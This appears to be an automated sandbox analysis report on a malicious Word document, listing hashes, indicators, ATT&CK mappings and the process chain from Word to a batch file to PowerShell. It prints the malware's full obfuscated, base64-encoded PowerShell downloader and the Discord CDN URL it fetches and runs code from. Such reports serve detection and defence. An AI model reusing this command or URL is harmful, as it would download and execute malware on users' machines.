d122e97cc5bd9cfd5e122bb0aedf1f6835d8f535020a263fbd0ebf2535c5c471

General

Target

ad0972d2a239b3ba4cbe61079c530624e16e8e57159ce21796b3e711888c997d.doc
Size

31KB
MD5

da6419e4d4e4528990898bcfdaa85e01
SHA1

8fdfe23dac4252203c5b7f9ff8b4778676188ca2
SHA256

ad0972d2a239b3ba4cbe61079c530624e16e8e57159ce21796b3e711888c997d
SHA512

2a0e6ce142058fc73fa968a705be71768b2a183610610f5715792b25a1f699df10e1eb745772deaa74322fa8f8237eb7be82d7d2657baccd602605cfcee818e0

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://cdn.discordapp.com/attachments/851105085270523917/895674622702399538/Server.txt

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	1352	2272	cmd.exe	WINWORD.EXE

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

25 2104 powershell.exe

flow	pid	process
25	2104	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

2272 WINWORD.EXE
2272 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exe

pid process

2104 powershell.exe
2104 powershell.exe
2104 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2104 powershell.exe
Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

WINWORD.EXE

pid process

2272 WINWORD.EXE
2272 WINWORD.EXE
2272 WINWORD.EXE
2272 WINWORD.EXE
2272 WINWORD.EXE
2272 WINWORD.EXE
2272 WINWORD.EXE

pid	process
2272	WINWORD.EXE
2272	WINWORD.EXE

pid	process
2104	powershell.exe
2104	powershell.exe
2104	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2104	powershell.exe

pid	process
2272	WINWORD.EXE
2272	WINWORD.EXE
2272	WINWORD.EXE
2272	WINWORD.EXE
2272	WINWORD.EXE
2272	WINWORD.EXE
2272	WINWORD.EXE

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

WINWORD.EXEcmd.exe

description	pid	process	target process
PID 2272 wrote to memory of 1352	2272	WINWORD.EXE	cmd.exe
PID 2272 wrote to memory of 1352	2272	WINWORD.EXE	cmd.exe
PID 1352 wrote to memory of 2104	1352	cmd.exe	powershell.exe
PID 1352 wrote to memory of 2104	1352	cmd.exe	powershell.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\ad0972d2a239b3ba4cbe61079c530624e16e8e57159ce21796b3e711888c997d.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2272

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Documents\zexo.bat" "
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1352

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
poweRSheLL.eXe -executIonPOLIcY ByPaSs -nOProfILe -WIndoWSTYLe HiDdeN -E JABTAFoAWABEAEMARgBWAEcAQgBIAE4ASgBTAEQARgBHAEgAIAA9ACAAJwBoAHQAdABwAHMAOgAvAC8AYwBkAG4ALgBkAGkAcwBjAG8AcgBkAGEAcABwAC4AYwBvAG0ALwBhAHQAdABhAGMAaABtAGUAbgB0AHMALwA4ADUAMQAxADAANQAwADgANQAyADcAMAA1ADIAMwA5ADEANwAvADgAOQA1ADYANwA0ADYAMgAyADcAMAAyADMAOQA5ADUAMwA4AC8AUwBlAHIAdgBlAHIALgB0AHgAdAAnADsADQAKACQARQBEAFIARgBHAEgATgBKAE0ASwBEAEUARgBHAEgASgAgAD0AIAAnAG4ARQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAEUAYgBDACsAKwArACsAKwArACsAKwArACsAKwArACsAKwArACsAVAAnAC4AUgBlAHAAbABhAGMAZQAoACcALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAnACwAJwB0AC4AVwAnACkALgBSAGUAcABsAGEAYwBlACgAJwArACsAKwArACsAKwArACsAKwArACsAKwArACsAKwArACcALAAnAGwASQBFAE4AJwApADsADQAKACQAUwBYAEQAQwBGAFYARwBCAEgATgBKAFgARABDAEYAVgBHAEIASABKAEsAIAA9ACAAJwBEAE8AKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgBhAEQAUwBUADwAPAA8ADwAPAA8ADwAPAA8AD4APgA+AD4APgA+AD4APgA+AD4APgBHACcALgBSAGUAcABsAGEAYwBlACgAJwAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACcALAAnAFcAbgBMAG8AJwApAC4AUgBlAHAAbABhAGMAZQAoACcAPAA8ADwAPAA8ADwAPAA8ADwAPgA+AD4APgA+AD4APgA+AD4APgA+ACcALAAnAHIASQBuACcAKQA7AA0ACgAkAFMAVwBYAEQARQBDAFIARgBHAFkASABVAEoASQBTAEQARgBWAEcASABKACAAPQAnAEkAYABFAFgAKABuAGAALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQBgAGMAYABUACAAJABFAEQAUgBGAEcASABOAEoATQBLAEQAPAA8ADwAPAA8ADwAPAA8ADwAPAA8ADwAPAA8AD4APgA+AD4APgA+AD4APgA+AD4APgA+AD4APgBHAEIASABOAEoAUwBEAEYARwBIACkAJwAuAFIAZQBwAGwAYQBjAGUAKAAnAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0AJwAsACcAZQBgAFcAYAAtAE8AYgBqAGAARQAnACkALgBSAGUAcABsAGEAYwBlACgAJwA8ADwAPAA8ADwAPAA8ADwAPAA8ADwAPAA8ADwAPgA+AD4APgA+AD4APgA+AD4APgA+AD4APgA+ACcALAAnAEUARgBHAEgASgApAC4AJABTAFgARABDAEYAVgBHAEIASABOAEoAWABEAEMARgBWAEcAQgBIAEoASwAoACQAUwBaAFgARABDAEYAVgAnACkAOwANAAoAJgAoACcASQAnACsAJwBFAFgAJwApACgAJABTAFcAWABEAEUAQwBSAEYARwBZAEgAVQBKAEkAUwBEAEYAVgBHAEgASgAgAC0ASgBvAGkAbgAgACcAJwApAHwAJgAoACcASQAnACsAJwBFAFgAJwApADsA"
3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2104

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Public\Documents\zexo.bat
MD5
a685d75068195fb660a916c72d1ffbcc

SHA1
7444ec315ba2439a0388415074667739323541c6

SHA256
cc5a024786036aa094718ecc292f781bceed4cd6636885f4eec0ba285bd24570

SHA512
ba66ecea4e5179be1b8670d3e14cf6cfafe6b98b7b0527c79398c3adc026bb82e38284392f712499cbf2cd6afe4325844a244662f129df3767a2cb7c88b62397

Download Submit
memory/1352-254-0x0000000000000000-mapping.dmp

Download
memory/2104-300-0x000002ECDF988000-0x000002ECDF989000-memory.dmp

Filesize
4KB

Download
memory/2104-289-0x000002ECDF986000-0x000002ECDF988000-memory.dmp

Filesize
8KB

Download
memory/2104-269-0x000002ECDF983000-0x000002ECDF985000-memory.dmp

Filesize
8KB

Download
memory/2104-268-0x000002ECDF980000-0x000002ECDF982000-memory.dmp

Filesize
8KB

Download
memory/2104-256-0x0000000000000000-mapping.dmp

Download
memory/2272-118-0x00007FF821CC0000-0x00007FF821CD0000-memory.dmp

Filesize
64KB

Download
memory/2272-122-0x000002034CC90000-0x000002034CC92000-memory.dmp

Filesize
8KB

Download
memory/2272-121-0x000002034CC90000-0x000002034CC92000-memory.dmp

Filesize
8KB

Download
memory/2272-120-0x000002034CC90000-0x000002034CC92000-memory.dmp

Filesize
8KB

Download
memory/2272-119-0x00007FF821CC0000-0x00007FF821CD0000-memory.dmp

Filesize
64KB

Download
memory/2272-115-0x00007FF821CC0000-0x00007FF821CD0000-memory.dmp

Filesize
64KB

Download
memory/2272-117-0x00007FF821CC0000-0x00007FF821CD0000-memory.dmp

Filesize
64KB

Download
memory/2272-116-0x00007FF821CC0000-0x00007FF821CD0000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads